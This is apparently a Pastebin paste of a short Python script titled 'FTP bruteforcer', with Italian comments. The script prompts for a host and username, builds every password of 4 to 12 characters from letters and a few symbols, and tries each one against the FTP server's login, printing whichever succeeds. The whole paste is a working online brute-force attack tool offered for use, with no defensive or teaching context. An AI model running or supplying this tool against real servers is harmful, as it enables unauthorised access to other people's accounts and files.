Advertisement
mgostih

FTP bruteforcer

Feb 2nd, 2014
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.47 KB | None | 0 0
  1. import ftplib
  2.  
  3. # Lista dei caratteri possibili in una password.
  4. listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+",""]
  5.  
  6. # Funzione che verifica se la password passata come parametro
  7. # e' quella corretta e di conseguenza e' stata indovinata.
  8. def testaPassword(host,utente,password):
  9.     print("Testando la password:", password)
  10.     # Tento di connettermi al sito ftp.sitodiprova.it come admin
  11.     try:
  12.         # Se la password e' corretta stampa il messaggio di password trovata
  13.         ftp = ftplib.FTP(host)
  14.         ftp.login(utente,password)
  15.         print("Password trovata:", password)
  16.         ftp.quit()
  17.         exit() # Esco dal programma Python altrimenti continuera' a testare password
  18.     except:
  19.         # Se la password e' errata esci dalla funzione e continua con la generazione della prossima password
  20.         # da testare
  21.         return
  22.    
  23. # Qui bisogna supporre una lunghezza massima della password,
  24. # ipotizziamo 12 caratteri.
  25. # Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza
  26. # da 4 caratteri in poi verra' testata la password (attraverso
  27. # la funzione testaPassword).
  28. host = input("Inserisci Host: ")
  29. utente = input("Inserisci nome Utente: ")
  30. for c1 in listaCaratteri:
  31.     for c2 in listaCaratteri:
  32.         for c3 in listaCaratteri:
  33.             for c4 in listaCaratteri:
  34.                 password = c1+c2+c3+c4   # La password da testare sara' composta dai caratteri
  35.                                     # correnti ovvero c1, c2, c3, c4
  36.                 testaPassword(host,utente,password)
  37.                 for c5 in listaCaratteri:
  38.                     password = c1+c2+c3+c4+c5    # La password da testare sara' composta dai
  39.                                             # caratteri correntiovvero c1, c2, c3, c4
  40.                     testaPassword(host,utente,password)
  41.                     for c6 in listaCaratteri:
  42.                         password = c1+c2+c3+c4+c5+c6
  43.                         testaPassword(host,utente,password)
  44.                         for c7 in listaCaratteri:
  45.                             password = c1+c2+c3+c4+c5+c6+c7
  46.                             testaPassword(host,utente,password)
  47.                             for c8 in listaCaratteri:
  48.                                 password = c1+c2+c3+c4+c5+c6+c7+c8
  49.                                 testaPassword(host,utente,password)
  50.                                 for c9 in listaCaratteri:
  51.                                     password = c1+c2+c3+c4+c5+c6+c7+c8+c9
  52.                                     testaPassword(host,utente,password)
  53.                                     for c10 in listaCaratteri:
  54.                                         password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
  55.                                         testaPassword(host,utente,password)
  56.                                         for c11 in listaCaratteri:
  57.                                             password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
  58.                                             testaPassword(host,utente,password)
  59.                                             for c12 in listaCaratteri:
  60.                                                 password = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
  61.                                                 testaPassword(host,utente,password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement